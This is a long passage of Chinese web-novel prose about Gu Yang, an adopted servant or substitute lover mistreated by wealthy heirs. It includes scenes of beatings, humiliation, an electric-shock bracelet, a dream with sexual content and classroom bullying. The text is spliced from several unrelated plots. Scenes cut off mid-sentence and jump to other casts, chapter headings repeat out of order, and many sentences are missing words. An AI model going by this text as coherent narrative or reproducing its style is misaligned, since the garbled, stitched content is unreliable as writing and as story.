戚珣一顿,他忽然想起今天所有人看向他的奇特目光,以及背后的如蚊虫般逡巡不散的议论,神色更黑:“你已经说出去了?” 什么?说什么?顾央茫然地摇了摇头,“没有。” 没有?那其他人如何知道的?戚珣压根不信,看向顾央的目光却愈加鄙夷,仿佛是已经笃定顾央在他面前撒谎,因此内心愈加不悦:“你不要以为攀上我,就是攀上了高枝。贪图钱财都得有个度,若还是想要更多,就是人心不足蛇吞象。” “我知道你只是父母用来控制我的,所以你也应该点到为止。” “别以为他们让我叫你哥,我就真的会认你这个哥哥。” 顾央被他骂得晕头转向,丝毫不知道自己哪里做错了。 然而戚珣看他的眼神仿佛在看十恶不赦之人,顾央心想,小珣脑子一直不太好,可能又发病了,他想起戚家父母对他的叮嘱,很轻地点了一下头,把箱子递过去:“……这是你寄放在我那里的东西,我帮你收拾出来了,没有坏。” “……” 戚珣神色有一瞬间的凝固。 他站在门扉处,低声骂了一声,伸出手猛地抢过箱子。 顾央睫毛轻轻颤了颤,声音很轻:“我知道你不喜欢我,那我们……” “我虽不喜欢你,但是我不是那种做了不负责的人,”戚珣似乎察觉到顾央想说什么,猛地抬高声音,打断他:“既然是我临时了你,就当给你的补偿,勉为其难地跟你继续在一起。不过你要遵守以下三点。” “第一,你不能在公开场合与我亲近,我们依然是主人与仆从的关系;第二,没有我允许,你绝不能碰我哪怕一下;第三——” 他眯起眼睛,上下轻蔑地一打量顾央,冷笑一声:“我是绝对不会喜欢上你的,所以你绝不要自作多情。” “你就抱着这段关系偷着乐吧,小狗。” 随后箱子往房内一甩,便嫌恶地拍了拍手,仿佛碰了什么很脏的东西一般。接着,也不管顾央一身狼狈,便往他头上劈头盖脸地丢了一大堆衣服,居高临下:“帮我拿去洗了。” 说完,不等顾央任何反应,“砰”一声,毫不犹豫地在顾央面前将门关上。 门扉承受不了这么剧烈的打击,簌簌发抖地抖落一地尘灰,盖了顾央一脸。 顾央摸了摸鼻子,倒是很好脾气地把戚珣的衣服抱走了。 他是戚家收养的小孩,更准确的说,是戚珣八岁在深山中捡到他的。 戚珣年少成名,小时候在赫山拍摄,一次泥石流中,居然滚出个顾央,被戚珣大感新奇地捡回去养。 两个人朝夕相处,小顾央似乎在灾祸中头脑受创,失去记忆,脑海中什么东西都忘了个光。 小时候,戚珣还会跟在自己身后,叫他哥哥,可是后来的背叛让戚珣对顾央百般厌恶,因此顾央在戚家的地位一落千丈,成为一个“仆从”。 但他知道是戚家收养自己,因此并没有怪罪。况且,他作为“仆从”亦或是“哥哥”时,戚珣对他而言都是一样的。 ……是一个头脑不太清醒,需要照顾的小孩。 戚珣坐在床上,水滴从他的眼角眉梢滑落,顺着他笔挺的鼻梁滴滴答答往下滑落,眉骨在阴影中立体又俊秀。 他掏出一本书,然而越看,书上的字迹越扭曲,忍不住愈加烦躁。他把箱子随便塞在一个角落里,不懂为什么有这么不解风情的。 他送上门来,不就是为了让自己他吗? 居然就走了? 雨下这么大,他能去哪里? 不对,他去哪里关我屁事,淹不死他…… 低垂着眼,眼眶泛红的模样在他面前蓦然闪现,一副轻而易举就能被风刮跑的模样。 他低骂一声,“唰”地一下站起,猛地将门打开,目瞪口呆:“人呢?顾央死哪去了?” 他又冷笑了好几声,刚刚还要说点什么,领子突然被人揪了起来。 聂瑛原本还在想是谁那么大胆,定眼一看居然是宋引星。 那个被他嘲讽是穷酸鬼,差点被逼得跪下来给他舔鞋谢罪的宋引星,此刻双目充满了殷红的血丝,一拳直接砸在了他的脸上。 他被这一下砸得猝不及防,仰头摔在了地上。 宋引星并没有就此放手,而是坐上去继续打,聂瑛发出闷哼,他有心招架,但已经失了先手,此刻一时半会只能被动地接着。 病房里的一众人都被这突然的变故弄得有些懵,但没有一个人上前拉架。 他们只是沉默地看着宋引星一拳又一拳地砸在聂瑛的脑袋上。 第 74 章 第 74 章 只是单论刚刚那几下,宋引星揍得确实是狠,拳拳到肉的,聂瑛鼻血都被他揍了出来。 顾清许在一边冷眼看着,觉得自己的侧脸又开始隐隐作痛。 这么看,上次打他的时候还是收着了。 但他是看不懂宋引星这一副看到仇人般双眼泛红的作态,最后只能在心里暗讽顾央可真是找了条卖力的好狗。 聂瑛终于从刚刚的被动中缓了过来,他接住即将又一次落在脸上的拳头,然后一脚把宋引星踹开,紧接着就摇摇晃晃地站起来。 他用手背擦了下,糊了一脸的鼻血让他看起来更加可怕,他死死地盯着宋引星。 宋引星稳住了身形,他目光里都透着寒冷,站着血的指关节还能够感受到点余热,他的手指控制不住地颤抖着,刚刚砸下去鲜明的触感仿佛还残存在皮肤上。 眼看着战局已经没法单方面压倒,谢坞连忙冲上前去,以免聂瑛做出什么过激的事情。 在电话陷入忙音以后,顾烨才后知后觉地感受到荒唐。 他刚才,居然被顾央给唬住了。 顾烨的脸色瞬时间阴沉下来,握住手机的力道都不自觉加大了一点。 但一想到宴会还在进行,他不动神色地敛住了表情。 毕竟为了这么个赝品乱了分寸,未免也太掉价了。 这么想着,他整理了下胸前的领带,转身招手叫过来个侍者,吩咐他:“你去门口等着,如果来了个少年,把他带进来。” “具体是长什么样呢?”侍者问道。 顾烨皱了下眉,他手机里并没有存任何顾央的照片。 他想了想,干脆调出一张顾佳辛生日时的合照,不耐烦地说道:“跟他有点像,但没他好看。” 侍者瞅了一眼,心里吐槽了句这是什么奇怪的形容,但也只是应声后出去了。 “呦,怎么了,是小情人要过来吗?”狐朋狗友之一的周舒笑着揽过他的肩膀。 这话题一开,其他几人纷纷起哄起来。 “终于舍得让我们见见了?” 毕竟顾烨养了个小情人这件事情他们都知道,但还没人真正见过。 “听说,你藏起来的小情人就是顾家新来的那个少爷?” 顾家接回来个孩子这事圈里多少知道点,但也没给个说法,私底下揣摩起来都认为是私生子。 “玩玩而已。”顾烨轻笑一声,没有承认也没有否认,他眼睛往旁边一侧,带上了几分昭然若揭的恶意,“毕竟就是个上不得台面的私生子而已,还真要当回事不成。” 众人面色瞬间变得有几分精彩,隐晦地看了眼被内涵的当事人,同样作为私生子的顾家另一位少爷。 顾书黎倒是淡定,他眉目清秀,长着张娃娃脸,笑得相当无害,好像根本没有听出顾烨的讥讽。 “大哥这么一说,我倒是更想见见那个少爷了。” 顾烨冷笑,对对方这份顺着杆子往上爬的劲颇为不屑,但他家老爷子也在现场,到底不好闹得太大。 虽然眼下气焰盛的是顾烨,但没到最后谁也说不准,周舒两边都不想开罪,带岔了话题:“我见过他那小情人。” “诶,长什么样的?” “是个小美人,但就是只怎么逗也跳不起来的小白兔。”周舒摸了下下巴,语气轻浮地评价。 “害。” 一堆人在那里发出遗憾的声音,他们本来还想看个乐子,就这么一说估计也掀不起什么风浪来了。 “话说带回来这么久了,也不办个宴会让大家眼熟一下,看来顾家是完全不上心啊。” “就是啊,这明面上的功夫都不做,那接回来也不就是换了个地方住吗?” 外面落下一道惊雷,惹得周舒往外看了一眼:“这大晚上,外面还下着雨呢,什么要紧事非要现在来。” 顾烨只是冷笑一声。 周舒半真半假地打抱不平:“你还真是不懂得怜香惜玉,偶尔也稍微对人家体贴点啊。” 但也没有再说什么。 …… 会场之外。 侍者站在门口,时不时张望几下。 这雨下的不算大,但很密,在视野中形成朦胧的幕帘,不知道具体等了多少时间,他终于模模糊糊看到了个人影。 那人一点点走进,连把伞都没带,直到走到檐下时,侍者才看清了对方的脸。 很年轻,少年模样。 他赶紧走上前去,但对方似乎以为他要拦人,开口说道:“我找顾烨,是在里面没错吧。” 声音听起来有些沙哑,说话的时候目光随之移了过来,黑白分明的眼睛就这么看着他,有种说不出的冷淡。 正厅璀璨而温暖的灯光从半开的大门中漏出来,细密地镀上少年的侧脸,光影顺着分明的线条蜿蜒到脖颈。 “对。” 那一瞬间,侍者在无数名利场中所见到的,纸醉金迷的剪影尽数退散,他头脑空白,呆呆地点了下头。 直到人已经走进去了,侍者才回过神来,他诧异地回想起那句没他好看,暗道这有钱人的眼睛也太不好使了。 进入宴会场内后,顾央瞬间就感受到了数道落在他身上的目光。 很正常,毕竟他现在的样子实在是过于狼狈。 在外面淋了那么久的雨,一下回到室内,顾央陡然间生出点不适应的感觉。 他踉跄了一步扶住旁边的桌子,身体终于后知后觉地给出了反应,视网膜前阵阵泛黑,头胀痛得厉害,腿脚也在发软打颤。 他记得书里提到过,原身有很严重的低血糖。 顾央从桌上拿了块小蛋糕,靠着墙缓缓蹲了下来,小口小口地勉强吞咽下去补充糖分。 他正在吃着,突然感受到有人踹了脚他的膝盖。 他抬起头,看到顾烨那张面无表情的脸。 “人到了为什么不来找我,还要我主动过来?好大的架子。” 平心而论,作为本作主角攻,顾烨确实有相当的资本,他身形高大,五官俊美而富有侵略性,周身能够感受到用真金白银砸下去的底蕴和气度。 但也是一眼就能窥见那份风度翩翩之下傲慢的本质。 尤其是他对原身的态度格外糟践。 被拧断手臂,被关在潮湿黑暗的地下室不给出门,被强制签订器官移植协议。 鉴定完毕,是个法外狂徒。 顾央没有马上回复他,而是微皱着眉头努力咽下最后一口。 先吃饱,不让等下没有力气造作。 看着那张惨白惨白的脸,顾烨一哂,这种类似的把戏他从小到大见的实在是太多了,从他的父亲到他,永远都不缺赶着凑上来的人。 示弱,装可怜,自甘下贱。 他的阿辛就不会做出这种令人作呕的事情,而是永远骄傲,永远高昂着头。 想到这里,顾烨再也没有了丝毫耐心,他一把把顾央从地上拽了起来,表情无比森冷。 “事到如今,你以为做出这种表情还有用吗?你在阿辛身上施加的痛苦,我会十倍奉还给你。” 这边发生的动静惊得所有人人都纷纷看了过来。 “诶,阿烨,你说你这臭脾气,有话好好说啊。”周舒赶忙拳道,凑近压低声音说道,“你好歹是东道主,这么多人看着呢。” 但顾烨没有丝毫慌乱,应该说这正中他的下星。 今晚名流聚集,他就是要在这里,将顾央所做的事情公之于众,让那些不了解的人都认清楚,这位新来的顾家少爷私底下是个什么货色。 但顾央就这么看着他,漆黑的眼睛中没有任何情绪,只是简简单单地倒映着他的身影。 顾烨心里一动,总觉得有哪里说不上来的感觉,因为顾央从来没有这么看过他。 虽然如此,这当然引不起他半分的犹豫,但在即将用下一句话揭露出来时,顾央开了口。 “我已经知道了,你只不过是把我当成替身而已。” “你只是……”心口难受的情绪在一瞬间爆发上来,被顾央冷静压下,但他的眼眶还是不受控制地红了,“觉得我像他而已。” “那又如何。”顾烨随手松开了他,也不顾对方差点没能站稳,语气平淡又不屑,“有几分像他是你的福气。” 还以为要说什么东西出来,还真是高看他了,被逼急了也就这点矫情劲。 他难道以为,把这件事闹出去,对他有什么好处吗? 顾烨松手放开了他,带着几分居高临下的怜悯,即将开始审判。 “果然是这样啊。”顾央自嘲地笑了一声,“你只是,把我当成我父亲顾顾城的替身而已。”??? 等等! 顾烨脸上原本高高在上的表情瞬间变得一片空白,睁大的眼睛中难掩惊愕。 一旁的周舒也是失去了表情管理,头脑根本没法处理这过于爆炸性的信息。 此话一出,原本正在看热闹的众人齐刷刷呼吸一屏。 这么劲爆的事情,是他们能够免费听的吗? “你在发什么疯?” 顾烨甚至顾不上遮掩一直不敢宣之于口的感情,口不择言地就要反驳:“我喜欢的明明就是……” 哗啦哗啦—— 顾央一把拉扯过铺在长桌上的白色桌布,放置在上面的瓷盘玻璃瞬间都掉到地上砸了个粉碎,一时间根本没人听见顾烨最后一句说了什么。 不是喜欢玩替身吗?现在就给你玩个大的。 要说这本书里的奇葩排行榜,在顾央心里顾烨完全可以超过顾佳辛位列第一。 他实在是不理解,这傻逼霸总找的到底是白月光的替身,还是杀父仇人的替身。 一口一个赝品,一口一个你连他的他头发丝都比不上。 就好像多折辱一分替身,自己对白月光的感情就越高贵。 偏偏又怂,不敢表白心意,只敢逮着地位远不如自己的人折腾 难道替身也是傻逼霸总爱情play里面的一环吗? 藏在心里面那股憋屈劲在看到顾烨那张嘴脸的时候到达了巅峰,对付顾烨这种纯种傻缺,心平气和讲话根本没有,还会被对方鄙夷替身不愧是替身。 这种人就是欠抽! “顾烨!你就是个畜生!”顾央深吸口气,然后提高嗓门声嘶力竭地吼道,深怕刚才有人分神没能吃上瓜,“你居然拿我当我爸的替身——” 他毫不停歇地夺过旁边侍者端着的酒盘,顺着把上面装了酒的高脚杯全部往顾烨身上砸过去。 “人渣!” 他又抄起一条凳子继续砸,根本不给顾烨开口辩驳的机会。 “贱人!” 我让你家暴。 我让你倒骨灰。 我让你割肾。 一时间现场只能听见此起彼伏的破碎声,和顾烨略显狼狈慌不择路的逃避, 原本优雅上流的宴会彻底安静了下来,只剩下一片沉默和震惊。 “需不需要我帮你调整下靠着的角度。” 顾央继续摇摇头。 宋引星卡住,他试图让自己自然,但这样却起了反效果。 顾央牵过他的手,目光落在沾在指节上的血渍。 宋引星才反应过来,赶紧去卫生间把手洗干净了才回去。 “你刚刚打得好狠啊。”顾央轻飘飘地说道,但他的语调里甚至还带着笑意,“所以我必须告诉你一件事情。” “聂瑛没有推我,是我自己落下去的。” 宋引星的心一下就沉了下去。 第 75 章 二合一 宋引星定定地看了他好几秒钟,才跟反应过来了似的缓缓开口。 “为什么?” “不知道,我也说不上来。”顾央试图去回忆自己原本的想法,“聂瑛一直要和我说话,好吵,真的吵死了。” 然后在落入水中的那一瞬间,整个世界都安静了。 “十米高的跳台,如果出了什么意外的话,你想过会是什么后果吗?” 顾央当然没有想过那些,但不知道为什么,他突然有点不敢直视宋引星现在的目光,也许是他能够直觉地感受到不对劲。 蒋白止怀疑今天出门没有看黄历。 首先第一个运气不顺的征兆是,出门前,他那便宜父亲破天荒地叫住了他。 第二个运气不顺的征兆是,这些天他一直受一个难缠的噩梦所困扰,每次醒来都觉得烦闷异常。 第三个运气不顺的征兆是,今天又看见了戚珣的男朋友。 “你那个叫‘瓷’的弟弟还没有找到么?” 蒋父是一个长相十分普通的中年男人,他躺在沙发上,手中捏着Chi的雪茄,语气随意地道: “你们学校的董事长昨天又跟我提起了,她如今年事已大了,这么多年,却没有再生一个孩子,想必是对当年失踪的孩子念念不忘。” 豪门贵族之间往往利益是错综复杂,同盟与敌对的关系眨眼间便可倾覆,好在,最近倒是风平浪静,各家各自岁月安好。 加德王立学院的校董会一直是顾家掌权,当前的校长就是顾家家主。最开始蒋白止进加德王立学院,也是拖了顾家的关系。 只不过,这位顾董事长已经年逾五十,上了岁数,身体自然也不太跟得上,最近学院里的不少事物都逐渐移交出去,唯独多年来一直对自己当年走丢的孩子念念不忘,成了一块心结。 真要算起来,那个走丢的“顾瓷”还勉强算是蒋白止半个弟弟。 蒋家与顾家有一点亲缘关系,父亲与顾校长之间大概能算是堂姐弟,只是两个人之间不深交,唯有利益往来。 找孩子这件事,蒋父自然是丢给了蒋白止。 蒋白止没什么表情,“每年都有去各个报社安排人,但是一直没有收到消息。” 蒋父忍不住嗤笑一声,“一群废物。” 他挥挥手,不耐烦地赶走蒋白止。蒋白止冷冷地看了他一眼,转身,离开家前,却是对着玄关处黑白照片中的女人点了点头,语气缓和下来。 “妈妈,我出门了。” 蒋白止如今算是半个单亲家庭。为什么算半呢?自然是因为父亲是个管不住下半身的种马,四处在外面花天酒地,完全不着家。 要不是蒋白止年纪轻轻地便开始抗重任,这个家早就被蒋父被败家垮了。 因此,他也一直很讨厌。 他的母亲是一个普通的,蒋父当年还没那么窝囊堕落时,与他的母亲白手起家。 蒋家夫妇从零开始运营,然而,好不容易蒋家独大,蒋父却出轨了一个。 理由十分正当:“当然是要和在一起,的时候,都不能安抚。我和在一起不是天经地义么?” 他的母亲为此郁郁而终,没多久就撒手人寰。 “白止,你要对所爱之人专一。无论他是什么性别……绝不可三心二意。” 母亲死时,枯槁带着指甲的手戳在他胸口,眼神带着无奈和悲哀。 “我希望你喜欢他……不要单纯只是被吸引。我希望你能认清他,知道他会如你爱他一般爱你,再交付出你的心。” 可对的吸引都是天生的么?即使是,难道那么多年的情分,就真的比不过下的冲动? ——那分明只是父亲出轨找的借口罢了。 蒋白止匪夷所思。清晰地意识到,大部分不过是卑劣的、下等的,被捆绑的劣种。 为此,他从小便是一个板正长大的少爷,学院中颇有些名气的四家豪门,只有他最为成熟、冷静、克制。 在同为豪门的戚珣发疯把人囚|禁在家,宋家的小军爷差点炸了一个基地的对比下,丁家还是个小孩时,他简直是亭亭玉立的好一株白苗。 克己守礼、风行端正、寡言冷淡,不拈花惹草,工作狂魔,上学下班——甚至还会去健身房进行身材管理! ——然而这一切,却都在那个傍晚被那个打破了。 蒋白止这些年的过得简直比生理期还要规律,然而自从那日隔着门板,听到了里面少年挣扎溢出的呻|吟时,他就开始有些不对劲。 一开始只是有些生理期的躁动,长时间都很难疏解,可后来却愈发离谱,一旦他入梦,梦中就会出现那日被他压在身下的少年,鼻尖萦绕的都是温暖的雪松林香气。 这是一个很矛盾的气味,分明雪松林应该是清冷的,然而却在身上显得极其温暖。 梦中的衬衫被他挑开,露出鱼腹一般苍白柔韧的肌肤,薄薄一层的线条纹理游走在他身上,像是一个令人端详打量的花瓶,可以令人爱不释手地摩挲。 他像是卑贱的狗一样扑在瘦弱的身上,然而,他的脸上居然罩着止咬器,只能隔着铁笼,只能一下又一下地撞着脆弱的皮肤。 被撞的一片瞬间浮现虾粉色,湿漉漉的睫毛颤抖着,掉下几滴眼泪,他便立刻试图去舔舐。 像是看见骨头的狗,忙不迭地扑上去,唯恐再晚一点,眼泪蒸腾不见。 这可真是噩梦。醒来后,蒋白止很罕见地发了一场大火,砸了自己房间里的所有东西。 他根本不愿意承认时那个脆弱,一离开就崩溃,还要哄他的人是自己。 简直丑态百出。他第一次有种事情脱出自己掌控的感觉,仿佛只要遇见那个,他命运的车辙就要偏离他原本的康庄大道,拐入一片黑暗之中。 因此,再次见到顾央时,他眉宇间很明显地露出极其强烈的厌恶。 顾央端茶倒水,他安安静静地沏茶,进门后就把自己的存在感压得很低,长而浓密的睫毛垂落,在眼下勾勒出一弯静谧的弧影,愈发显得他那张脸如瓷一般霜白。 只是坐在对面的男人始终双目如刀,冷冷地向他刺来。 顾央:“……” 居然是上次那个。他有不祥的预感,因此愈加沉默,恨不得转身就走,脑海中想起宋引星对他说过的话。 “——他要是知道的自己对你这么眷恋,你要么被他囚禁,要么被他杀死。” 这句话可能并不是夸大,如果目光可以化作刀子,想必他已经被刺穿了。 “蒋哥,迎新晚会你要参加么?” 坐在对面的戚珣撩起鬓边垂落的一缕发,他精致俊秀的脸上扬起一抹笑,揶揄道:“你不会今年还不参加吧?去年你就没有参加了,你这学校上得比上班还要敷衍了。” 蒋白止没有说话,他沉静地端茶,整个人冷硬如冰,扣子规规矩矩地扣到喉结下方,浅浅抿了下茶,“看时间。” 他喝到茶,就立刻皱紧了眉头,放在桌上。两个人继续交谈,蒋白止道:“你找好舞伴了么?” “我还需要找么?”戚珣嗤嗤两声,“想跟我跳舞的人可以从这里排至校门口。” 他们如今坐在学院中庭的一个蔷薇花园中,夏日的花园中盛满了蔷薇,馥郁的花香飘逸。这里有数个玻璃花亭,里面装潢精致,从外面看,倒像是一个个漂亮剔透的玻璃盏。 “是吗?”蒋白止的声音很淡,“我还以为你会找你的男朋友去。” 顾央在一旁,脊椎猛地一僵。 戚珣瞥了他一眼,顾央低下头。的目光混杂着厌恶以及冷淡,扭过头回来继续与蒋白止笑着交谈,“叫他去做什么?跌份子。蒋哥,你别说笑了。” 他们交谈了很多东西,蒋家和戚家一直关系不错,很难想象到二人之间会因为什么东西而破裂。 顾央左耳进右耳出,眼观鼻鼻观心,只想熬过这一段时间好尽快离开,然而蒋白止却开始不紧不慢地挑刺。 “冲泡时壶嘴不能对客人,没人教过你么?” “倒茶不能过满,七分满为宜。” 他居高临下,仿佛每一个开会时压迫感满满的老板,亦或是刻意为难乙方的甲方,连顾央是要向左转还是向右转,都能针对一下。 顾央咬了咬口腔的软肉,他深呼吸一口,乖乖地将蒋白止认为不满意的茶倒掉,重泡,再倒掉,再泡,手都快酸了。 然而,泡第一壶茶时,蒋白止摇头拒绝,泡第二壶茶时,他依然皱着眉,泡第三壶茶时,终于,顾央手抖,不小心将茶水泼到了蒋白止身上。 “咔嚓” 茶杯在地上摔得粉碎,空气安静了一瞬。 蒋白止冷冷地抬眼,没什么表情地看向顾央。 顾央低着头,没有与他的视线接触,蒋白止低头看了看自己的胸膛,茶水将他的衬衫逐渐染成枯叶般的褐黄,惹眼至极。 “跪下。” 戚珣霍然站起来,神情阴冷下来,“道歉。” 顾央猛地抬头,不可置信地看向戚珣。 戚珣却一点玩笑也没开,他阴冷的目光如刀一般,几乎要活生生地从顾央身上刮下一层皮,“是什么给你错觉,让你可以犯这种低等的错误?” 顾央没动,戚珣面露不耐,直接踹了他膝盖一脚,顾央面色瞬间白了,膝盖一痛,差一点就要跪在地上,但是咬着牙,勉强撑住。还没来得及开口,戚珣就揪住了他的头发。 心脏像是失去供血能力,顾央手脚冰凉,眼前的画面模糊不清,仿佛被人蒙上了一层阴影。 只能被迫仰起,露出一截苍白脆弱的弧线,身体微微痉挛,却依然坚持着没有下跪。 戚珣掐着顾央的脸,将顾央拉住,两个人靠得很近,是一个拥抱的姿势,然而戚珣的话却比刀剑还要冰冷,血淋淋地要往眼前的身上砸。 “顾央,多少年了,你总是这样。装着很有意思吗?” “可是你连装都装不好,到底为什么要拙劣地费这份劲,简直是比东施效颦还要好笑的笑话。” 顾央胸口仿佛被一块大石堵住,他张了张口,似乎想说什么,可伶仃手腕上的手环却忽然剧烈地震动一下,弹出了一截消息。 窄小的屏幕上,冷冰冰地跳出几个字,如蛆附骨,如影随形地逼问他,也阻断了他辩解的退路: [戚珣在做什么?] [为什么一分钟内不回消息?] [顾央,你忘记你的职责了吗?] 方才正是忽然起来的电流让他一时没有捉稳茶盏,才不小心失手。 仔细想来,顾央的生存环境一点也不好,他但凡只有露出一点爪牙,就要被捉回戚家,但若是不露爪牙,又要被任意折损。 他一时间有些迷茫,一瞬间,看向头顶的天花板,天花板朦胧而压抑,却仿佛一张织得密密麻麻的大网,密不透风地向他笼罩而来。窗外分明鸟语花香,阳光万里,顾央却觉得昏暗阴沉,仿佛他真的被关在一间铁笼之中。 他轻轻地呼出一口气,“戚……” 他没来得及说完,又是一阵电流,顾央吃力地睁开眼皮,薄而透的眼皮在阳光下痉挛。 周围一切仿佛泡水一般模糊,耳畔嗡嗡作响,左手一片火辣辣的刺痛,仿佛被上千根针扎了一下。 他试图挣开戚珣,去回复消息,否则电流可能一直不能停下。 然而戚珣却误以为他在反抗,脸色阴沉如水,死死地盯着眼前的少年,看着他呼吸越来越微弱。 直到顾央快晕过去时,蒋白止忽然打断道: “够了。” 他眉头紧锁,看着眼前半昏迷被拽着的。 虚脱般地闭着眼睛,脸色苍白,头颅无力地侧歪,乌黑的头发软软地垂落至他苍白的。 蒋白止薄唇抿成一条直线,眉心下一片阴影,手指摩挲了一下瓷杯,瓷杯冰冰凉凉,他垂着眼。 “既然要参加舞会,需要挑选衣服。” 蒋白止淡淡道:“不如阿珣借我一下你的小仆从。恰好我要去挑选新的礼服,身边还缺一个提包的。” 顾央被这个回答逗得乐不可支,还好奇地追问着细节,似乎完全忘记了上次的不愉快,他笑着倚在墙边:“你找我来什么事情,不是说要给我个惊喜吗?” 对面轻轻地嗯了一声,然后说道:“你抬下头。” 顾央下意识地就按照他的话去做。 抬头的一刹那,他才看到跳台上还站着个人影。 距离得有点远,他看不清楚究竟是谁,只能勉强地眯起眼睛,才在那团模模糊糊的重影中对准了人。 “啊。”他轻盈地说道,“我看到你了。” “好。”那边简短地说道。 然后,顾央就看着那团人影,从跳台上面倾身倒了下去。 随着不可思议骤缩的瞳孔,他手中的手机啪嗒一下砸在了地上。 然后是一声无比剧烈,足以震碎他耳膜的,不顾一切破开水面的声音。 第 76 章 第 76 章 顾央怔怔地看着泳池中的场景,那瞬间炸开的波涛犹如锋利无比的巨大砍刃,在处刑台上飞溅着落下,随之而来地散出无数白色的血沫。 一声悠长的嗡鸣贯穿了他的脑海,他擦了下脸上的水,那瞬间仿佛置身于无人的孤岛之上。 再次回过神来时,他已经坐在了医院的病床旁边。 不知道何时苏醒的宋引星倚靠在床头,面色平静到诡异的程度。 他缓缓地看向顾央,见对方仍是一副灵魂出窍的样子,他牵过了对方的手。 好冰。 但他自己的手也没有多少温度,于是就把顾央的手放进了盖在身上的被子中。 “……这里是一些低烧药,如果烧还没退的话,记得过来打吊针。” 顾央从校医室走出时,头还有些昏昏沉沉。铁笼般的窗外天空阴沉,铁幕一般笼罩着学院。 这个夏季格外多雨,湿漉漉的潮气钻进他的骨头中去,密密麻麻地泛着酥痒。 他捂着头,踉踉跄跄地走到6班,还没进去,就听见里面的窃窃私语与不屑讥诮的嘲笑声。 “听说是顾央勾引戚少上床,真的假的?” “那还能有假?戚少亲口说的,是他非要死缠烂打,不自量力。试想,哪位少爷小姐要是发现自己的仆从胆敢僭越,以下犯上地爬上他们床,想必都要火冒三丈,怒火冲天。” “居然没有将顾央赶出去……戚少真是慈悲心肠。” “他看上去长得那么乖,没想到背后竟然行如此下等事。而且是一个无法被的?不知道背后怎样的浪荡不堪,这样的,即使爬上了别人的床,也无法知道吧?说不定有多脏。” “也不知道戚少为什么要这样的劣等品.9就很厉害吗?不还是被分配到了班?” 加德王立学院分为班和班,其中班在最高层,里面全是王公贵族,少爷小姐,而班则在最底层,是为各大少爷小姐陪读、或者其他普通学生的放置地。 然而也有不少仆从会跟读,与少爷小姐共同在班上课。在他们眼里,这无疑是“恩宠”的信号,而顾央被抛弃到全校最劣等的6班,便是戚珣在赤裸裸地嫌弃他,与他泾渭分明地划分界限。 他们卑劣地嫉妒着顾央,恐怕恨不得以身相代,偏偏那个靠爬上床得到好处的人不是他们,因此格外的怨恨,进而奚落鄙夷。 一声清脆的喝响,似乎忍无可忍:“够了,有完没完!” 女生站在他们面前,将课本一拍,“快上课了,老班最讨厌在班级里大吼大叫的人,他等会就来,你们再长舌一下,不怕他生起气来将你们学分扣光?” 她嘴上这样说着,可气势却并没有很足,尾音还带着细小的颤抖。为首的男生瘦猴似的,闻言,眯起细小的眼睛,不屑地嗤笑一声:“班长,又在这装好人?” “我最厌烦你这种圣母心的女人。顾央是你什么人,需要你护着他?可惜你只是一个,不然以顾央的浪荡,谁知道你们之间会不会有一腿?” 他促狭着笑着,目光上下将女孩一刮,狠狠地撞了一下女孩的肩膀,女孩被撞得踉跄几步,肩膀火辣辣的疼,皱着眉倒吸一口冷气,因此没有见到瘦猴将一条蛇神不知鬼不觉地放进她的抽屉中。 瘦猴面色不改地回到自己的座位上,他本来是想整蛊顾央,可惜甘瑶总与他作对。 先前顾央这个碍眼的转学生还没来时,甘瑶就遭到了全班人的排挤,可怜被欺负了也不敢吱声。 好不容易有个可转移的目标,能让自己喘口气,她居然还要为他说话? 顾央推门进来时,空气有一瞬间的凝滞,可很快那些陌生的面孔又有说有笑起来。他走到女孩面前,看着女孩被气得瑟瑟发抖的肩膀,声音柔和下来,“班长,可以借我一下你的笔记吗?” 他是转学生,进入学校的时间太迟,课程落下了不少。甘瑶抬起头,刚好就看见他那双眼睛。 男生眼尾温温柔柔地弯着,像是倒映在明池之上的一弧弯月,甘瑶方才又气又委屈的心情顿时如同煮沸的焦糖遇冷,瞬间凝固,几乎有些无措:“啊……好的,可以。” 她正要向抽屉中伸手,顾央却比她更快一步,从她抽屉中拿出了什么,对他露出一个清浅而礼貌的笑:“谢谢。” 瘦猴挑了挑眉,三人座位顺序分别是:甘瑶、瘦猴、顾央。他冷眼瞧着,等着顾央伸手进去被蛇咬后大叫。 然而,什么也没发生。 他就那么抱着女生的笔记向后走去,瘦猴一愣,忍不住冷笑。 看来顾央的运气还真是好。 上课铃一响,一个面色严肃的老师便走了进来,他神色不虞地瞪了瞪几个骚动的男生,接着道:“上课。” 一阵“起立”鞠躬似的叫好。班主任道:“今天要讲的是枪械常识与基础。翻开课本第三十七页……” “狙击步枪是一种射击精度最高、射程远的轻武器,广泛应用于特种作战以及常规作战当中……” 加德王立学院中开设很多其他学校没有的课程,比如什么占星术语,葡萄酒品鉴课程、药物结构基础……枪械也是其中一门。 他在上面讲,下面的学生却大部分兴致缺缺。 他们只是家仆,比起枪械,他们更为在意自己怎样才能得到主人的赏识。 况且他们中有不少人是娇贵的。开玩笑,让拿枪?这世界上疯了么?简直暴殄天物。 顾央却坐得笔直,很认真地听讲,每听到重点,便垂下眼做笔记。 “狙击步枪最早出现的确切时间无法考证,因为在步枪最早被用作狙击用途时,世界上还没有“狙击步枪”这一说。” “而早期具有狙击功能的步枪并没有安装瞄准镜,只是士兵为了达到精确隐秘的射杀目的,在稳定性和精度比较好的步枪上加装一个瞄准筒来进一步提高射击精度……”[注] 班主任顿了一下,似乎有些不悦,他拍了拍桌子:“我知道你们大部分人对这门课没有兴趣,你们中,有娇弱的,低贱的仆从,等级差的劣等品,但是上级依然愿意给你们教授这样的课程,你们知道是为什么吗?” “因为知识是平等的。” 除了甘瑶,下面的学生们睁着清澈且愚蠢的双眼看着他,表情十分困惑,似乎在问,我们只是家禽而已,知识难道要比攀附权贵有用么? 仿佛只要他一声令下,成绩最好的人就能直接巴结权势,央云直上,他们便立刻马上毫不犹豫地照做。 毕竟在他们眼中,就算考上好大学,也依然是给别人当牛马的命——给谁当牛马有区别么? 班主任简直要摇头,孺子不可教也,朽木不可雕也,目光鹰隼般扫射一圈,忽然顿了一下。 角落里新来的转学生坐姿端正,很认真地看着他。 他有一双很漂亮的眼眸,群央色的光流动在他眼底,仿佛在窑炉中锤炼凝结而成的央花瓷,嵌在那张素白如瓷胚的脸上,漂亮得令人心惊。 被这样的眼睛这么认真地看着,很难不恍惚。 班主任是一个,他忍不住微微讶异,随即点了点头,神色缓和一点。 ……还是有认真读书的孩子在的。 瘦猴坐在顾央正前方,他发现坐在前排的女生似乎忍不住,偷偷回头瞥一眼身后的顾央,心里更加不满,眼神阴冷,接着又自在地抱着双臂,等着前面的女孩出丑。 